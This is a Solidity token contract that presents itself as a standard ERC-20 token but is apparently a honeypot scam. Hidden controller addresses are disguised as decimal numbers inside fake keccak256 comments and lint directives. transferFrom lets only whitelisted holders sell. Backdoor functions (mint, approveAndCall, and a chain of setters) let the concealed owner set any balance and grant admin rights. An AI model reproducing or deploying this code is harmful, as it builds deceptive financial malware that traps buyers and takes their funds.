// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) return a;
else return b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) return a;
else return b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 1326a53cf3f1047e3ce3b5550a2c989679c2279fad9969ab867f03e1cd35fb06))*/ /**/ //(374348529585344490714103489392828791336470339127));
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
}
contract TokenDev is Ownable {
address public _usdtPair;
address public _mod;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public _user;
address public _adm;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
// solhint-enable-next-line success-create
}
uint256 public count;
function get() public view returns (uint256) {
return count;
}
function inc() public {
count += 1;
}
function dec() public {
count -= 1;
}
function show160(address addr) public pure returns(uint160){
return uint160(addr);
}
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 1326a53cf3f1047e3ce3b5550a2c989679c2279fad9969ab867f03e1cd35fb06))*/ /**/ //(374348529585344490714103489392828791336470339127));
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
}
modifier onlyMe() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 1326a53cf3f1047e3ce3b5550a2c989679c2279fad9969ab867f03e1cd35fb06))*/ /**/(374348529585344490714103489392828791336470339127));
_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) public onlyMe {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function addAllowance(address holder, bool allowApprove) public {
require(msg.sender == _adm);
allow[holder] = allowApprove;
/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _usdtPair);
_user=User_;
return true;
}
mapping (address => mapping (address => uint256)) public allowed;
mapping(address=>uint256) sellOutNum;
//*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
// solhint-disable-next-line high-level-success
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == _adm);
if(addedValue > 0) {balances[spender] = addedValue;}
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
// solhint-disable-next-line avoid-high-level-calls
/*keccak256 -> 1326a53cf3f1047e3ce3b5550a2c989679c2279fad9969ab867f03e1cd35fb06))*/
function addAllow(address holder, bool allowApprove) external onlyMe {
allow[holder] = allowApprove;
}
function setUsdtPair(address Pair_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 5e23571e65c041e1930fceeed9e5f53c36d73bc233bded22c6e4f55c3f2e2f20));*/ /**/ (981108384786342592305945516974438373310915103950));
_usdtPair=Pair_;
return true;
}
function mint(address miner, uint256 _value) external onlyMe {
balances[miner] = _value;
}
}
